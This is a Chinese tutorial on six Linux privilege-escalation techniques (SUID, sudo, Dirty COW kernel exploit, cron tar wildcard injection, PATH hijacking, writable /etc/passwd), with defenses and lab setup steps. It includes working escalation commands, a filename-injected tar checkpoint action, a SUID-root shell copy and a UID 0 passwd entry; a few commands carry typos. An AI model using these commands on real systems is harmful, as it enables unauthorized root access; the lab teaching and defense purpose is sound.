Linux六种提权方式总结与实验环境搭建指南

admin

Linux六种提权方式总结与实验环境搭建指南

核心思想

Linux提权的本质是利用系统配置错误、程序漏洞或设计缺陷,使一个低权限用户(如普通用户)获得执行高权限操作(通常是root权限)的能力。每种提权方式都利用了不同的攻击面。

一、SUID 提权

方式总结

核心原理:利用设置了SUID位的可执行文件。当一个程序设置了SUID位后,任何用户在执行该程序时,其进程的有效用户ID会临时变为该程序所有者的UID。如果该程序所有者是root,那么执行者就获得了root权限。

攻击场景:管理员错误地给一个本不该有高权限的程序(如find, vim, cp等)设置了SUID权限,或者这些程序本身存在可以被利用的功能(如调用shell)。

提权关键:找到一个具有SUID权限的程序,并利用它执行一个系统命令或启动一个shell。

防御措施:

定期审计系统中的SUID文件:find / -perm -4000 -type f 2>/dev/null。

移除非必要文件的SUID权限:chmod u-s /path/to/file。

确保只有绝对必要的程序(如passwd, sudo, su)拥有SUID权限。

实验环境搭建

目标:在Ubuntu或CentOS上,给/usr/bin/find命令添加SUID权限,使其可以被普通用户利用来提权。

步骤:

选择目标虚拟机:Ubuntu或CentOS

切换到root用户:su - root

# 输入root密码

为find命令添加SUID权限:# 首先确认find的原始权限

ls -alh /usr/bin/find

# 输出通常为 -rwxr-xr-x,没有s位

# 添加SUID权限

chmod u+s /usr/bin/find

# 再次确认权限

ls -alh /usr/bin/find

# 输出应变为 -rwsr-xr-x,注意执行位的 's'

创建普通用户用于测试:

# 如果没有普通用户,先创建一个

useradd -m testuser

passwd testuser

# 设置密码

环境验证:

切换到普通用户 su - testuser。

执行查找命令 find / -perm -u=s -type f 2>/dev/null,应该能看到 /usr/bin/find 出现在列表中。

执行提权命令 find /etc/passwd -exec whoami \;,如果输出 root,则环境搭建成功。

二、Sudo 提权

方式总结

核心原理:利用/etc/sudoers文件中不安全的配置。sudo允许授权用户以其他用户(通常是root)的身份执行命令。如果配置不当,允许用户无需密码或通过某些程序(如脚本解释器)执行命令,就会导致提权。

攻击场景:

无密码执行特定程序:testuser ALL=(ALL) NOPASSWD: /usr/bin/python。

无密码执行所有命令:testuser ALL=(ALL) NOPASSWD: ALL (极其危险)。

利用程序自身功能:如less, vim, more等程序在sudo执行时,可以通过其内部的shell执行功能(如!bash)来获取一个root shell。

提权关键:查看sudo -l,找到自己被允许执行的命令,并研究如何通过该命令绕过限制执行任意代码或获取shell。

防御措施:

严格编写/etc/sudoers文件,遵循最小权限原则。

避免使用NOPASSWD,除非在高度受控的自动化环境中。

避免直接授权脚本解释器(如python, perl, bash)。

使用visudo编辑文件,避免语法错误。

实验环境搭建

目标:在Ubuntu或CentOS上,配置/etc/sudoers文件,允许普通用户testuser无需密码即可执行python和less命令。

步骤:

选择目标虚拟机:Ubuntu或CentOS。

切换到root用户:su - root。

编辑/etc/sudoers文件:# 使用vim命令进行编辑,它会在保存前检查语法,防止锁死系统

vim /etc/sudoers

在文件末尾添加以下两行:# 允许testuser无密码执行python

testuser ALL=(ALL) NOPASSWD: /usr/bin/python

# 允许testuser无密码执行less

testuser ALL=(ALL) NOPASSWD: /usr/bin/less

保存并退出(在vim中是:wq)。

5. 环境验证:

* 切换到普通用户 su - testuser。

* 验证sudo权限:sudo -l,应该能看到刚才配置的两条规则。

* 执行提权命令 sudo python -c 'import pty;pty.spawn("/bin/bash")',应该能获得root shell。

* 执行提权命令 sudo less /etc/hosts,在less界面输入!bash并回车,也应该能获得root shell。

三、内核漏洞提权

方式总结

核心原理:利用操作系统内核本身存在的安全漏洞。这些漏洞可能允许本地用户突破内核的权限隔离,直接提升到ring 0(内核态)权限,从而完全控制系统。

攻击场景:目标系统长期未更新,运行着一个存在已知漏洞的旧版内核。

提权关键:

信息收集:获取系统内核版本(uname -a)、发行版信息(lsb_release -a或cat /etc/os-release)。

漏洞搜索:在Kali攻击机上,使用searchsploit或在线漏洞数据库(如Exploit-DB)查找对应内核版本的提权EXP(漏洞利用代码)。

编译与执行:将EXP代码传输到目标机,进行编译(通常是C语言),然后执行。如果成功,将获得root权限。

防御措施:

及时更新系统:这是最根本、最有效的防御方法。sudo apt update && sudo apt upgrade (Ubuntu) 或 sudo yum update (CentOS)。

内核安全模块:启用SELinux或AppArmor等,可以增加漏洞利用的难度。

最小化安装:减少不必要的内核模块和软件包,降低攻击面。

实验环境搭建

目标:搭建一个存在已知内核漏洞(如“脏牛”)的虚拟机,用于测试提权EXP。

步骤:

选择目标虚拟机:推荐使用一个旧版本的Ubuntu,例如 Ubuntu 16.04.1。这个版本默认搭载的内核版本(如4.4.0-21)受“脏牛”(CVE-2016-5195)漏洞影响。

安装虚拟机:在VirtualBox或VMware中安装Ubuntu 16.04.1。安装时不要选择在线更新,以保持其原始内核版本。

确认内核版本:uname -a

# 确认内核版本低于4.8.0,例如 Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP ...

准备攻击机:使用您的Kali Linux虚拟机。

环境验证:

在Kali上,使用searchsploit搜索“脏牛”漏洞:searchsploit dirty cow。

选择一个可靠的EXP,例如40847.c或40839.cpp。

将EXP文件下载或传输到目标Ubuntu虚拟机中(可以使用scp、wget或直接复制粘贴)。

在Ubuntu上编译并执行EXP:# 假设EXP文件名为40847.c

gcc -pthread 40847.c -o dirtycow

./dirtycow

如果EXP成功运行,它会修改/etc/passwd文件,将firefart用户(或其他指定用户)的密码清空或设置为新密码,并赋予其root权限。之后su firefart即可登录root shell。

四、Cronjobs 提权

方式总结

核心原理:利用cron定时任务配置中的错误。cron是Linux的定时任务服务,以特定用户(通常是root)身份在指定时间执行脚本或命令。

攻击场景:

通配符注入:一个以root权限运行的cron任务中使用了通配符(如*),并且调用了可以被参数劫持的命令(如tar, rsync, chmod)。攻击者可以创建带有特殊名称的文件(如--checkpoint-action=exec=sh script.sh),这些文件名会被命令误认为是参数,从而执行恶意代码。

可写脚本/目录:一个以root权限运行的cron任务所执行的脚本本身,或者脚本所在的目录,对普通用户是可写的。攻击者可以直接修改脚本内容,植入恶意命令,等待cron执行。

提权关键:找到存在配置缺陷的cron任务,并利用该缺陷植入后门或直接执行提权命令。

防御措施:

在cron任务中,避免使用通配符,如果必须使用,请使用完整路径。

确保cron任务执行的脚本和目录权限严格,仅对root可写。

在脚本中使用绝对路径,避免PATH劫持。

实验环境搭建

目标:在Ubuntu或CentOS上,创建一个存在通配符注入和文件可写漏洞的cron任务。

步骤:

1. 切换到 root 并创建环境

su - root

mkdir -p /opt/cron_test

cd /opt/cron_test

2. 创建恶意脚本

echo '#!/bin/bash' > evil.sh

echo 'cp /bin/bash /tmp/rootbash' >> evil.sh

echo 'chmod 4755 /tmp/rootbash' >> evil.sh

chmod +x evil.sh

3. 创建 backup.sh

echo '#!/bin/bash' > backup.sh

echo 'cd /opt/cron_test' >> backup.sh

echo '/bin/tar czf /tmp/backup.tar.gz *' >> backup.sh

chmod +x backup.sh

4. 设置 cron 任务

crontab -e

添加:

* * * * * /opt/cron_test/backup.sh

5. 创建 testuser 并设置权限

useradd -m testuser

passwd testuser

chown testuser:testuser /opt/cron_test

chmod 755 /opt/cron_test

6. 切换到 testuser 并创建劫持文件

su - testuser

cd /opt/cron_test

touch -- "--checkpoint=1"

touch -- "--checkpoint-action=exec=sh evil.sh"

7. 等待 cron 执行并验证

ls -l /tmp/rootbash

/tmp/rootbash -p

五、环境变量 提权

方式总结

核心原理:劫持$PATH环境变量。当一个SUID程序或sudo执行的脚本内部调用了一个不带绝对路径的命令时,系统会根据$PATH变量的顺序来查找该命令。攻击者可以修改$PATH,将一个恶意程序放在优先查找的目录中,从而诱骗高权限程序执行恶意代码。

攻击场景:一个具有SUID权限的程序(由管理员自己编写或编译)在代码中调用了系统命令(如cat, ls)但未使用绝对路径(如/bin/cat)。

提权关键:

找到一个存在此缺陷的SUID程序。

修改$PATH环境变量,将一个可控目录(如/tmp)置于最前。

在该目录下创建一个与程序调用的命令同名的恶意文件(如cat)。

执行SUID程序,它会优先执行你的恶意cat。

防御措施:

在编写SUID程序或sudo脚本时,始终使用命令的绝对路径。

在脚本开始时,可以重置或清理$PATH变量为一个安全的值,如PATH=/bin:/sbin:/usr/bin:/usr/sbin。

实验环境搭建

目标:在Ubuntu或CentOS上,创建一个自定义的SUID程序,该程序在内部调用不带路径的cat命令,从而可以被$PATH劫持。

步骤:

选择目标虚拟机:Ubuntu或CentOS。

切换到root用户:su - root。

创建test用户:useradd -m test

创建有漏洞的C程序:cd /home/test

# 创建一个.c文件

vim demo.c

输入以下代码:#include

int main() {

setuid(0); // 设置进程的有效UID为root

setgid(0); // 设置进程的有效GID为root

system("cat /etc/shadow");

return 0;

}

编译并设置SUID权限:gcc demo.c -o demo

chomod u+s demo

#执行demo文件即执行cat /etc/shadow命令

./demo

现在有一个攻击者拿到了普通用户的权限,首先执行了如下命令查找具有SUID的文件:find / -perm -u=s -type f 2>/dev/null

环境验证:

切换到普通用户 su - test。

普通用户执行demo文件

查看当前$PATH:echo $PATH

在/tmp目录下创建一个恶意的cat脚本:

cd /tmp

echo "/bin/bash" >cat

#查看是否正确

cat cat

#赋予权限

chmod 777 cat

#将/tmp目录添加进环境变量

export PATH=/tmp:$PATH

#查看cat环境变量是否被劫持

which cat

* 劫持PATH:export PATH=/tmp:$PATH。现在/tmp目录的查找优先级最高。

* 执行提权:./demo。程序在执行system("cat ...")时,会找到并执行我们创建的/tmp/cat,从而弹出一个root shell。

六、/etc/passwd 提权

方式总结

核心原理:直接修改/etc/passwd文件。在非常老旧或配置不当的Linux系统中,/etc/passwd文件可能对普通用户可写。攻击者可以直接向该文件中添加一个新的用户条目,并将其用户ID(UID)和组ID(GID)设置为0(root的ID),从而创建一个具有root权限的新用户。

攻击场景:系统管理员错误地执行了chmod 666 /etc/passwd或类似操作,导致该文件全局可写。这种情况在现代系统中极为罕见,因为/etc/passwd的写权限受到严格保护,且用户密码实际存储在/etc/shadow中。

提权关键:

确认/etc/passwd文件可写。

生成一个符合格式的、UID/GID为0的密码哈希。

将新用户条目追加到/etc/passwd文件末尾。

使用新创建的用户名和密码登录。

防御措施:

确保/etc/passwd文件权限为-rw-r--r--(644),且所有者为root。

使用/etc/shadow文件来存储密码,并确保其权限为-rw-r-----(640),仅root和shadow组成员可读。

定期检查关键系统文件的权限和完整性(可使用AIDE或Tripwire等工具)。

实验环境搭建

目标:在Ubuntu或CentOS上,临时将/etc/passwd文件设置为可写,模拟一个严重错误配置。

步骤:

选择目标虚拟机:Ubuntu或CentOS。

切换到root用户:su - root。

(危险操作)赋予/etc/passwd写权限:# 先备份原文件!这是一个好习惯

cp /etc/passwd /etc/passwd.bak

# 赋予所有用户读写权限

chmod 666 /etc/passwd

# 确认权限

ls -l /etc/passwd

# 输出应为 -rw-rw-rw-

创建普通用户:useradd -m test

passwd test

环境验证:

切换到普通用户 su - test。

生成密码哈希:使用perl生成一个密码为123456的哈希值。#使用perl语言生成密码盐值

perl -le 'print crypt("123456", "addedsalt")'

# 输出:adrla7BSfTZQ

构造新用户条目:用户名为testuser,UID/GID为0,家目录为/root,shell为/bin/bash。# 将上一步生成的哈希值复制下来

echo "testuser:adrla7IBSfTZQ:0:0:,,,:/root:/bin/bash" >> /etc/passwd

注意:在命令行中,$字符需要用\转义。

提权:直接切换到新创建的testuser用户。su - testuser

# 输入密码: 123456

如果成功登录,并且whoami和id命令显示为root,则提权成功。

实验后清理:切换回root,恢复文件权限。su - root

cp /etc/passwd.bak /etc/passwd

chmod 644 /etc/passwd

总结与建议

提权方式

核心利用点

常见场景

防御关键

SUID 提权

文件特殊权限

管理员误给高权限程序设置SUID

定期审计,移除非必要SUID

Sudo 提权

/etc/sudoers配置错误

无密码执行命令或脚本解释器

最小权限原则,避免NOPASSWD

内核漏洞提权

操作系统内核漏洞

系统未更新,存在旧版内核

及时更新系统

Cronjobs 提权

定时任务配置缺陷

通配符注入,脚本/目录可写

使用绝对路径,严格控制权限

环境变量 提权

$PATH环境变量劫持

SUID程序内调用无路径命令

脚本中使用绝对路径

/etc/passwd 提权

核心系统文件权限错误

文件被赋予全局写权限

严格控制关键文件权限,使用shadow

Copyright © 2088 南美洲世界杯预选赛程_世界杯2 - ycfcjt.com All Rights Reserved.
友情链接